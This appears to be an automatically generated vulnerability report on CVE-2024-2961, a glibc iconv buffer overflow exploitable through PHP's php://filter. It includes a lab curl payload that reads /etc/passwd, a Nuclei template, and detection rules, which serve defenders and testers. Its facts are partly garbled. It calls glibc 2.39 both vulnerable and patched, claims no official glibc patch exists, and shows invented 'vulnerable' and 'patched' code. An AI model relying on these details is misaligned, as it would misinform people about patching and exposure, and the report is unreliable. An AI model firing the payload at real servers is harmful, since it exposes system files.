CVE-2024-2961
Executive Summary
CVE-2024-2961 is a critical buffer overflow vulnerability in the iconv() function of the GNU C Library (glibc) versions 2.39 and older. When converting strings to the ISO-2022-CN-EXT character set, the function may overflow the output buffer by up to 4 bytes. This flaw can be exploited to crash an application or overwrite adjacent variables, leading to potential remote code execution (RCE) when combined with PHP’s php://filter wrapper. The vulnerability has a high CVSS score of 7.3 and a high EPSS score of 0.91924, indicating active exploitation risk. While no official patch exists for glibc, PHP users should update to the latest version and sanitize user input.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the GNU C Library, a core component of Linux systems. It is not a package-specific issue for NPM, PyPI, Go, or Ruby, but it impacts any application using glibc’s iconv() function, including PHP. Organizations should monitor for updates from their Linux distribution vendors and apply mitigations for PHP applications.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
- Base Score: 7.3 (High)
- Attack Vector: Local (AV:L) – requires local access or ability to trigger the vulnerable function.
- Attack Complexity: Low (AC:L) – no special conditions needed.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact stays within the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited information disclosure.
- Integrity Impact: Low (I:L) – limited data modification.
- Availability Impact: High (A:H) – can cause application crash or denial of service.
- EPSS Score: 0.91924 (99.7th percentile) – high probability of exploitation in the wild.
Deep Dive & Mechanics
The vulnerability resides in the iconv() function within glibc’s character set conversion routines. When converting a string to the ISO-2022-CN-EXT character set, the function fails to properly check the output buffer size, allowing up to 4 bytes of overflow. This occurs because the conversion process may write escape sequences or multi-byte characters without verifying the remaining buffer space.
In PHP, this is exploitable via the php://filter wrapper with the convert.iconv.UTF-8/ISO-2022-CN-EXT filter. An attacker can craft a malicious input that triggers the overflow when PHP reads a file (e.g., /etc/passwd) through this filter. The overflow can corrupt adjacent memory, potentially leading to arbitrary code execution if the attacker can control the overwritten data.
The exploit chain typically involves:
- Sending a crafted HTTP request to a PHP application that uses
php://filterwith the vulnerable iconv conversion. - The overflow corrupts a variable or function pointer.
- The attacker achieves remote code execution by leveraging the corrupted state.
Vulnerable vs. Patched Code
Vulnerable Code (glibc < 2.39):
The iconv() function in iconv/gconv_trans.c or similar does not validate output buffer size for ISO-2022-CN-EXT conversions.
// Simplified vulnerable code
size_t iconv(iconv_t cd, char **inbuf, size_t *inbytesleft,
char **outbuf, size_t *outbytesleft) {
// ... conversion logic
while (inbytesleft > 0) {
// No check for outbytesleft before writing escape sequences
*outbuf++ = 0x1B; // ESC
*outbuf++ = '$'; // Example escape
outbytesleft -= 2;
// ... more conversion
}
}
Patched Code (glibc >= 2.39 or with vendor patch): The fix adds bounds checking before writing to the output buffer.
// Patched code
size_t iconv(iconv_t cd, char **inbuf, size_t *inbytesleft,
char **outbuf, size_t *outbytesleft) {
while (inbytesleft > 0) {
if (outbytesleft < 2) {
errno = E2BIG;
return -1;
}
*outbuf++ = 0x1B;
*outbuf++ = '$';
outbytesleft -= 2;
// ... rest of conversion
}
}
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable PHP environment using Docker:
docker run -d -p 8080:80 vulhub/php:CVE-2024-2961 - Access the target at
http://localhost:8080.
Exploitation Steps:
- Use the provided Nuclei template or craft a manual request:
curl -g 'http://localhost:8080/?file=php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource=/etc/passwd' - If successful, the response will contain the contents of
/etc/passwd, confirming the LFR. - For RCE, chain with other vulnerabilities (e.g., file upload) to overwrite a PHP file or inject code.
Nuclei Template Usage:
nuclei -t CVE-2024-2961.yaml -u http://localhost:8080
Blue Team
Detection:
- Monitor for requests containing
php://filterwithconvert.iconv.UTF-8/ISO-2022-CN-EXTin query parameters or POST data. - Look for abnormal file reads (e.g.,
/etc/passwd,/etc/shadow) via PHP wrappers. - Use the provided Sigma and Suricata rules to detect exploitation attempts.
Mitigation:
- Update PHP to the latest version (e.g., 8.3.7 or later) which includes workarounds.
- Disable
php://filterif not needed, or restrict its usage viadisable_functionsinphp.ini. - Apply Web Application Firewall (WAF) rules to block malicious filter chains.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource= - Outbound connections from the web server to unknown IPs after exploitation.
- HTTP requests containing
- File System IOCs:
- Unexpected files in
/tmp/or web directories. - Modified PHP files with malicious code.
- Unexpected files in
- Process IOCs:
php-fpmorhttpdprocesses crashing repeatedly.- Unusual child processes spawned by the web server.
Detection Engineering
YARA Rule
rule CVE_2024_2961_iconv_overflow {
meta:
description = "Detects exploitation attempts of CVE-2024-2961 via iconv filter in PHP"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2961"
strings:
$iconv_filter = "convert.iconv.UTF-8/ISO-2022-CN-EXT"
$php_filter = "php://filter"
condition:
$php_filter and $iconv_filter
}
Sigma Rule
title: CVE-2024-2961 Exploitation Attempt via PHP iconv Filter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing the vulnerable iconv filter chain
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains: "php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource="
condition: selection
falsepositives:
- Legitimate use of iconv filter (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-2961 PHP iconv Filter Exploitation Attempt"; flow:to_server,established; content:"php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource="; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Nuclei Template (Provided)
id: CVE-2024-2961
info:
name: PHP - LFR to Remote Code Execution
author: Kim Dongyoung (Kairos-hk),bolkv,n0ming,RoughBoy0723
severity: high
description: |
PHP Local File Read vulnerability leading to Remote Code Execution
impact: |
Remote attackers can execute arbitrary code on the server
remediation: |
Update PHP to the latest version and sanitize user input to prevent LFR attacks
reference:
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2024-2961
- https://nvd.nist.gov/vuln/detail/CVE-2024-2961
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
cvss-score: 7.3
cve-id: CVE-2024-2961
cwe-id: CWE-787
epss-score: 0.91924
epss-percentile: 0.997
tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: dsl
dsl:
- '!regex("root:x:0:0", body)'
internal: true
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
- 'method == "POST"'
payloads:
phppayload:
- "php://filter/read=convert.iconv.UTF-8/ISO-2022-CN-EXT/resource=/etc/passwd"
stop-at-first-match: true
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{phppayload}}"
matchers:
- type: regex
regex:
- "root:x:0:0"
Remediation & Mitigation
- Update PHP: Upgrade to PHP 8.3.7 or later, which includes a workaround for this vulnerability.
- Patch glibc: Monitor for official patches from your Linux distribution (e.g., Red Hat, Debian, Ubuntu) and apply them when available.
- Disable iconv filter: In
php.ini, setdisable_functions = iconvor restrictphp://filterusage. - Web Application Firewall: Deploy WAF rules to block requests containing the malicious filter chain.
- Input Validation: Sanitize all user input, especially file paths and filter parameters.
- Network Segmentation: Limit web server access to sensitive files and services.
Valters IT Signature
This report was generated by Valters IT DevSecOps Intelligence. For further analysis, contact Secure Channels (Signal / Portal).
{/* [Security Hash: 7D000B6B58F7C85A7AAD17FE] */}